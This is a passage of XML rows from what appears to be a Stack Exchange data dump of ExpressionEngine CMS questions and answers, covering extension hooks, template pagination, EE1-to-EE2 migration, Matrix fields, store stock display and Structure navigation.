{/exp:getchannels}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-07-26T10:22:32.190" LastActivityDate="2013-07-26T10:22:32.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostTypeId="1" AcceptedAnswerId="12288" CreationDate="2013-07-26T11:10:55.387" Score="1" ViewCount="80" Body="&lt;p&gt;I am looking to modify a counter which is a field in a channel when i submit or update an entry. I am looking to count the number of matrix rows and then add that into the input field to act as the counter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way for me to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What hook should i use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what files should i create?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-26T17:41:41.387" LastActivityDate="2013-07-26T17:41:41.387" Title="What is the best way to modify entry data when submitting and updating entries" Tags="|matrix|hook|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12288" PostTypeId="2" ParentId="12287" CreationDate="2013-07-26T13:33:11.697" Score="2" Body="&lt;p&gt;First - you can get this count in your template by using &lt;code&gt;{my_matrix_field:total_rows}&lt;/code&gt; - but I'll assume you need the number stored as a value in a field for other purposes (use in &lt;code&gt;orderby&lt;/code&gt; perhaps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In which case - yes, you'd write an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt;, and use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/#entry-submission-ready&quot; rel=&quot;nofollow&quot;&gt;entry_submission_ready&lt;/a&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your method, pass &lt;code&gt;$data&lt;/code&gt; by reference, so you can modify it. Check to make sure you're in the channel you're looking for, then dump the &lt;code&gt;$data&lt;/code&gt; array so you can see how the data is structured. From there you can figure out how to count your Matrix rows, and then set the value of &lt;code&gt;$data['field_id_XX']&lt;/code&gt; (which would be your &quot;counter&quot; field).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function entry_submission_ready($meta, &amp;amp;$data, $autosave)&#xA;{&#xA;    if($meta['channel_id'] == XX)&#xA;    {&#xA;        // This is just to let you examine the data - you'd remove it after&#xA;        print_r($data);&#xA;        exit();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-26T13:33:11.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostTypeId="2" ParentId="12283" CreationDate="2013-07-26T14:15:50.827" Score="1" Body="&lt;p&gt;I'm not a big proponent of PHP in templates, but this is a case where it might be your best option. (You could roll this code into a simple plugin as well, which accepted the three required variables at the top as parameters.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable PHP on output, and add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    $per_page = 8;&#xA;    $current_page = '{current_page}';&#xA;    $total_entries = '{absolute_results}';&#xA;&#xA;    $end = $per_page * $current_page;&#xA;    $start = ($end - $per_page) + 1;&#xA;    $end = ($end &amp;gt; $total_entries) ? $total_entries : $end;&#xA;&#xA;    echo $start.' - '.$end.' of '.$total_entries;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-26T14:15:50.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostTypeId="1" AcceptedAnswerId="12291" CreationDate="2013-07-26T14:18:51.233" Score="1" ViewCount="186" Body="&lt;p&gt;I've been working on a horrible EE1 installation and bring it into EE2. Unfortunately it was one of those sites that decided to use Gypsy, oh and Structure and just to make things interesting, MX Uni Editor's file field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrade went relatively smoothly actually, although Gypsy was used throughout there were only a handful of channels so was able to just have 1 field group in the EE2 site and share it amongst channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Structure upgrade went smoothly also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where we fell down was the assignment of images and attachments to entries. &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-07-26T14:18:51.233" Title="migrating content from EE1 to EE2 with Structure and Datagrab" Tags="|structure|file-uploads|ee1|ee2-upgrades|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12291" PostTypeId="2" ParentId="12290" CreationDate="2013-07-26T14:18:51.233" Score="1" Body="&lt;p&gt;We created an XML feed of all channels (we couldn't automatically export because &lt;a href=&quot;http://devot-ee.com/add-ons/weblog-entries-exporter&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/weblog-entries-exporter&lt;/a&gt; doesn't support Gypsy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then used Datagrab to import the XML feeds respectively. Datagrab did a great job of mapping the Matrix rows of MX Uni Editor file fields to Assets 2 fields on 'news' and 'press release'. However, when we did the same thing for the 'page' channel that Structure uses as a general page type, it would blow out the Structure settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple way around this for us was to temporarily change the 'page' channel to an asset type in the Structure settings, run the import, confirm the images/attachments were properly assigned and then revert that channel back to being a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took a few attempts before we realised the import was screwing the parent Structure entries. &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-07-26T14:18:51.233" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12292" PostTypeId="1" CreationDate="2013-07-26T14:36:51.203" Score="5" ViewCount="1938" Body="&lt;p&gt;I am using freeform as a contact form, i have never had any problems with it before, when i submit an email from the developed form it returns as a submission in my freeform control panel, although the contact form submission is not reaching my inbox. Anyone any ideas why this is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A2NES.png&quot; alt=&quot;freeform control panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2015-08-05T10:01:04.570" Title="freeform sending emails to control panel but not to my inbox" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12293" PostTypeId="1" CreationDate="2013-07-26T14:45:40.510" Score="0" ViewCount="105" Body="&lt;p&gt;I have created a Safecracker form that uses CKEditor to allow users to update the content of a page. Within this page, I have a slider which displays one Matrix row at a time - an image in one column and a text field in a second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm trying to keep the form as visually consistent with the actual page as possible, I'd like to be able to separate the Matrix into two individual fields for editing. I've been able to accomplish this with two text fields, but can't seem to figure out how to make it work with the Safecracker file field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;  {orgs}&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;div class=&quot;span6&quot; style=&quot;background-image:url({image}); height:335px;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;chng&quot;&amp;gt;&#xA;          {field:orgs[row_id_{row_id}][col_id_61]}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;padding-left&quot; contenteditable=&quot;true&quot; id=&quot;orgs[row_id_{row_id}][col_id_62]&quot;&amp;gt;&#xA;      {description}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {/orgs}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code I currently have. The {orgs} tag loops through the  matrix. I would expect that the {field:orgs....} would make the Safecracker file upload field appear, but alas it does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this is a relatively easy fix and I'm just not looking for an answer in the right places. :)&lt;/p&gt;&#xA;" OwnerUserId="1704" LastActivityDate="2013-09-26T23:47:26.287" Title="Safecracker File Field in Matrix" Tags="|matrix|safecracker|fieldtype|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostTypeId="1" CreationDate="2013-07-26T15:36:35.283" Score="1" ViewCount="81" Body="&lt;p&gt;I often have customers try to add a greater amount of inventory than what is available. So, if there is 2 left in stock, they might try to add 10. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to control this by displaying &quot;amount available&quot; in the cart page, so they can see what's left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, {total_stock} is not available to the {items} {/items} loop in the Checkout Tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the best way to go about this? Or, better yet, is there error handling for updating quantities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Lisa&lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2013-09-25T10:46:36.213" Title="Display Total_Stock of each item in the cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12296" PostTypeId="1" CreationDate="2013-07-26T17:47:27.450" Score="1" ViewCount="66" Body="&lt;p&gt;Here's what I would like to do, I would like my site members to be able to send virtual gifts to each other, the problem is how to associate that member A sent a gift to member B? And also how to retrieve a list of all the gifts that a certain member has received/gifted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using Exp:resso Store on the site and also Zoo Visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though Credits apparently doesn't work with Store, ideally these purchases would be made with credits, so that the members could use the credits they received by participating on the site to send free gifts, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also has anyone ever worked with a payment system like Boku?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ETA: I think I've figured out how to decode the stored modifiers for purchased items, so part of my problem is solved, I can write a plugin to retrieve the data. Nevertheless if you have any input related to the implementation of such system, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2013-07-26T23:07:44.407" LastActivityDate="2013-11-01T23:03:57.300" Title="How to setup Virtual Gifting between members with Store" Tags="|expresso-store|zoo-visitor|payment-gateway|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12297" PostTypeId="1" AcceptedAnswerId="12298" CreationDate="2013-07-26T18:07:19.990" Score="3" ViewCount="135" Body="&lt;p&gt;I have a simple search form set to look in entries. When I search for the category name that I have selected in some entries, the entry does not show in the results. Should I be able to use Simple Search to look in an entries selected categories? &lt;/p&gt;&#xA;" OwnerUserId="1246" LastEditorUserId="1246" LastEditDate="2013-07-29T15:39:20.060" LastActivityDate="2013-08-05T13:38:40.783" Title="Using Simple Search to look in an entry's selected categories?" Tags="|categories|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12298" PostTypeId="2" ParentId="12297" CreationDate="2013-07-26T18:52:12.180" Score="2" Body="&lt;p&gt;eeDelve,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE search module searches the content of entries - it will not look for names of categories.  You may need to look at some of the third-party options for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick list of add-ons that that may help out.  Look to Low Search and Solspace Super Search first, would be my suggestions.  See this &lt;a href=&quot;http://devot-ee.com/search/results?keywords=search&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;search for 'search' on Devot-ee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-07-26T18:52:12.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostTypeId="1" AcceptedAnswerId="13230" CreationDate="2013-07-26T20:28:30.000" Score="0" ViewCount="641" Body="&lt;p&gt;I am running Expression Engine 2.6.1 and Wygwam 3.0.2 but the icons do not show up in the field. I could use some help getting them to show up properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error when the page loads in Chrome:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chrome.tabs is not available: You do not have permission to access this API. Ensure that the required permission or manifest property is included in your manifest.json. [VM] binding (1054):216&#xA;Binding.generate [VM] binding (1054):216&#xA;(anonymous function) [VM] tabs (1140):43&#xA;(anonymous function) measureIt.js:120&#xA;Uncaught TypeError: Cannot call method 'create' of undefined measureIt.js:120&#xA;GET http://independence4seniors.com/themes/third_party/wygwam/lib/ckeditor/skins/wygwam3/skin.js?t=D09H5XK 404 (Not Found) ckeditor.js:16&#xA;Uncaught TypeError: Cannot read property 'init' of undefined &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I reloaded the theme but still get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2013-07-26T21:48:48.780" LastActivityDate="2013-08-28T12:02:59.767" Title="Why are the Wygwam toolbar icons not showing?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12301" PostTypeId="2" ParentId="6398" CreationDate="2013-07-26T22:20:43.190" Score="0" Body="&lt;p&gt;I had the same problem and the cause was that template caching was turned on. Everything worked fine once it was disabled.&lt;/p&gt;&#xA;" OwnerUserId="985" LastActivityDate="2013-07-26T22:20:43.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12302" PostTypeId="2" ParentId="12232" CreationDate="2013-07-27T02:27:33.960" Score="0" Body="&lt;p&gt;Pixel and Tonic graciously made a ticket out of this request and cleared this issue up. (Thanks, guys!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what Andris had to say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have set your upload folder paths to be relative, however when you&#xA;  access the CP from the address admin.php, those paths turn out to be&#xA;  incorrect.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For them to work correctly, you must access the CP using the system&#xA;  folder in path - for example -&#xA;  &lt;a href=&quot;http://domain.com/system/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=1&amp;amp;entry_id=1&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/system/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=1&amp;amp;entry_id=1&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In Assets file manager everything was loading fine, because everything&#xA;  there is loaded via Ajax and Ajax requests are routed via front-end&#xA;  due to EE's design. Assets compensates for those requests, if they are&#xA;  made this way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was accessing the control panel from &lt;code&gt;domain.com/admin.php&lt;/code&gt; with relative upload paths and I needed to access the control panel from &lt;code&gt;domain.com/system/&lt;/code&gt; for those paths to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps anyone else with this issue!&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2013-07-27T02:27:33.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostTypeId="2" ParentId="12294" CreationDate="2013-07-27T09:40:41.037" Score="1" Body="&lt;p&gt;There's total_stock variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock} In Stock {if:else} Out of Stock {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work if you have modifiers. Then there's an odd approach to using style classes: &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#dynamic_product_variables&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/product_tag.html#dynamic_product_variables&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;store_product_stock&#xA;store_product_in_stock&#xA;store_product_out_of_stock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that only works for single or no modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, drop me an email on peter@peteralewis.com and I'll send you a beta version of my store_options plugin which can output everything relevant to the modifiers (single or multiple), options, in stock/out of stock and their stock levels.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-27T09:40:41.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12304" PostTypeId="2" ParentId="12236" CreationDate="2013-07-27T10:40:40.147" Score="0" Body="&lt;p&gt;The quotes in the jwplayer call are not the quotes you need (8220 and 8221 are not the same characters you used in the rest of the code). Simply replacing these again with straight quotes and updating your entry should work.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2013-07-27T10:40:40.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12305" PostTypeId="1" CreationDate="2013-07-27T14:10:39.723" Score="1" ViewCount="106" Body="&lt;p&gt;I'm using Matrix to list my clients services. I've added a 'Promoted Service' category to allow them to filter the services which get shown on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set each Matrix row with an option to choose that category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this plug-in was perfect but it actually adds the category to the whole entry as well as the individual row which defeats my initial purpose as it then just shows every category on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/matrix-cat-col&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/matrix-cat-col&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this?&lt;/p&gt;&#xA;" OwnerUserId="853" LastActivityDate="2013-07-27T14:46:04.813" Title="Displaying Matrix entries by category" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12306" PostTypeId="2" ParentId="12305" CreationDate="2013-07-27T14:46:04.813" Score="1" Body="&lt;p&gt;The first solution that comes to my mind is using something like &lt;a href=&quot;http://devot-ee.com/add-ons/mx-select&quot; rel=&quot;nofollow&quot;&gt;MX Select Plus&lt;/a&gt;&#xA;to retrieve the categories using a sql query and associate one with a matrix row. You'll then be able to search the matrix fields for the category you want, as long as you make the field searchable. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-07-27T14:46:04.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12308" PostTypeId="5" CreationDate="2013-07-27T15:19:53.637" Score="0" Body="&lt;p&gt;A .htaccess file is a directory-level configuration file used to override a subset of the web server's global configuration. Support for the .htaccess file is most commonly found in the Apache web server, but other web servers such as Litespeed and Sun Java System Web Server also provide support.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is usually placed within the root directory of the website, but can also be placed within sub-directories to provide an even finer grained configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Common uses of .htaccess files include: Authorization, Authentication, Rewriting URLs, Blocking by IP / Domains, Server Side Includes (SSI), MIME Type control, Directory Listing control.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-07-27T18:13:45.827" LastActivityDate="2013-07-27T18:13:45.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12309" PostTypeId="4" CreationDate="2013-07-27T15:19:53.637" Score="0" Body="A .htaccess file is a directory-level configuration file used to override a subset of the web server's global configuration." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-07-27T18:13:56.717" LastActivityDate="2013-07-27T18:13:56.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12310" PostTypeId="2" ParentId="11977" CreationDate="2013-07-28T08:31:16.593" Score="1" Body="&lt;p&gt;Here's a bit of jQuery that adds &lt;code&gt;target=&quot;_blank&quot;&lt;/code&gt; to all external link (links to another domain):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;  $(&quot;a[@href^=http]&quot;).each(&#xA;    function(){&#xA;      if(this.href.indexOf(location.hostname) == -1) {&#xA;        $(this).attr('target', '_blank');&#xA;      }&#xA;    }&#xA;  )&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would that solve your problem?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-07-28T08:31:16.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12311" PostTypeId="1" AcceptedAnswerId="12480" CreationDate="2013-07-28T16:30:12.753" Score="0" ViewCount="50" Body="&lt;p&gt;I've tried to do an upgrade on a 1.7.3 site and never seen this error before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The language files needed for your current language selection () are unavailable. Please put the language pack in this folder: expressionengine/language/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried upgrading to 2.6.1 and 2.5.5 and both give the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language files are definitely in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't find any refs online.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-05T09:16:28.393" Title="language error on an EE 1 upgrade" Tags="|error|ee2-upgrades|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12312" PostTypeId="2" ParentId="12273" CreationDate="2013-07-28T17:32:25.130" Score="1" Body="&lt;p&gt;Have you tried adding event_name=&quot;{parents:url_title}&quot; to the exp:calendar:events tag?&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-07-28T17:32:25.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostTypeId="1" AcceptedAnswerId="12991" CreationDate="2013-07-28T17:37:05.620" Score="1" ViewCount="144" Body="&lt;p&gt;I have a head-scratcher here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m working on a site that I'm building with Structure where I have at least 50 services that the client would like to promote in two different sections. I'm trying to conceptualize a possible way to have each service as a single entry and associated with two different pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Section 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Consulting&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Economic Research&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Training&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Business Evaluation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Section 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Training&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consulting &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Economic Research  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Business Evaluation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A few things to note:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to keep each service as a page in Structure because the client wants it in the navigation's mega menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The services will be arranged differently in each section - one alphabetically and the other in a random order of importance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point the only solution I can think of is maintaining two identical entries for each service and was wondering if there were some plug-in that I'm not aware of that would allow me to do this within the confines of structure and a mega menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight will be appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorUserId="27" LastEditDate="2013-07-29T15:02:47.620" LastActivityDate="2013-08-21T16:54:23.937" Title="Sharing an entry on two pages in Structure" Tags="|structure|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12314" PostTypeId="2" ParentId="12313" CreationDate="2013-07-28T19:46:09.347" Score="1" Body="&lt;p&gt;Be a bit mad to have duplicate content, messy and the trying to keep both in sync would be a nightmare. You also want to consider duplicate content in the eyes of Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet would be to leave the content as is (only one copy), but have duplicate navigation.  There are many ways to do this, one would be to have categories Section 1 and Section 2 in say a navigation category group. Then you can render out all the entries associated with each category to build the relevant navigation (and entries can reside in both navigations). The ordering can then be set to either alphabetically by title, or random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also with categories, if the client really, really, really wants to have two separate URLs to the same content (based on service route) and you can't convince them otherwise, you can use categories in the URL and then pull the url_title from the last segment then use as channel:entries parameter and not use structure page_uri or er, page 'structure'. So the same entry will be used for both URLs. This doesn't mean you don't use the Structure module, you're just not using the URLs that it's producing (or you only use their URLs for one of the sections and a category based URL for the other).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need a category identifier in the URL either, just use segment_1 that matches the template group. For example, in Structure have a parent that is &quot;Services&quot; which then has child entries for the 50 services. Then have either 2 template groups &quot;section-one&quot; and &quot;section-two&quot; which list out the relevant services (segment_1 equals the template group), and then segment_2 is used to pull the url_title into the channel_entries showing the details for the relevant service. Alternatively for more flexibility have 1 template group called &quot;services&quot; (segment_1) and then use the category url for segment_2, then segment_3 would be your url_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to use dynamic=&quot;no&quot; and url_title=&quot;{segment_3}&quot; for the channel:entries parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively look at &lt;a href=&quot;http://devot-ee.com/add-ons/navee&quot; rel=&quot;nofollow&quot;&gt;Navee&lt;/a&gt; to generate the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to pursue duplicate content, the only plugin I'm aware of is &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;Cloner&lt;/a&gt;, but that's just for copying it, and not sure how it will behave with Structure.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-07-28T20:19:41.787" LastActivityDate="2013-07-28T20:19:41.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostTypeId="2" ParentId="12273" CreationDate="2013-07-28T19:57:58.050" Score="1" Body="&lt;p&gt;I appear to have found a solution to my own problem. I'm not sure if this is the most efficient method, but it certainly seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm calling an embedded template within the &lt;code&gt;channel:entries&lt;/code&gt; loop on my Organisation page. Using a &lt;code&gt;parents&lt;/code&gt; tag pair, I'm passing the &lt;code&gt;entry_id&lt;/code&gt; of each related entry. I've had to include some conditional logic to separate multiple IDs with a pipe character.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;organisations/.org-related-events&quot; &#xA;test_entry_id=&quot;{parents field=&quot;event_organisations&quot; &#xA;channel=&quot;calendar_events&quot; dynamic=&quot;off&quot;}&#xA;{if parents:count == parents:total_results}{parents:entry_id}{if:else}{parents:entry_id}|{/if}&#xA;{/parents}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my embedded template, I'm using &lt;code&gt;exp:calendar:cal&lt;/code&gt; to pull out the details of each occurrence. The &lt;code&gt;event_id&lt;/code&gt; is pulling through the ID(s) from the embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:test_entry_id ==''}&#xA;{if:else}&#xA;    &amp;lt;!-- Start Entry Listing --&amp;gt;&#xA;    &amp;lt;ul class=&quot;entries&quot;&amp;gt;&#xA;      {exp:calendar:cal event_id=&quot;{embed:test_entry_id}&quot; date_range_start=&quot;today&quot; show_months=&quot;2&quot; pad_short_weeks=&quot;n&quot; event_limit=&quot;5&quot;}&#xA;      &amp;lt;li class=&quot;entry event&quot;&amp;gt;&#xA;        &amp;lt;h3 class=&quot;name&quot;&amp;gt;&amp;lt;a href=&quot;{path='events/event'}/{if edited_occurrence}{event_parent_id}{if:else}{event_id}{/if}/{event_start_date format=&quot;%Y/%m/%d&quot;}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        {if event_all_day}&#xA;        &amp;lt;time class=&quot;eventdate&quot; datetime=&quot;{event_start_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;{event_start_date format=&quot;%j&amp;lt;sup&amp;gt;%S&amp;lt;/sup&amp;gt; %F %Y&quot;}&amp;lt;/time&amp;gt;&#xA;        {if:else}&#xA;        &amp;lt;time class=&quot;eventdate&quot; datetime=&quot;{event_start_date 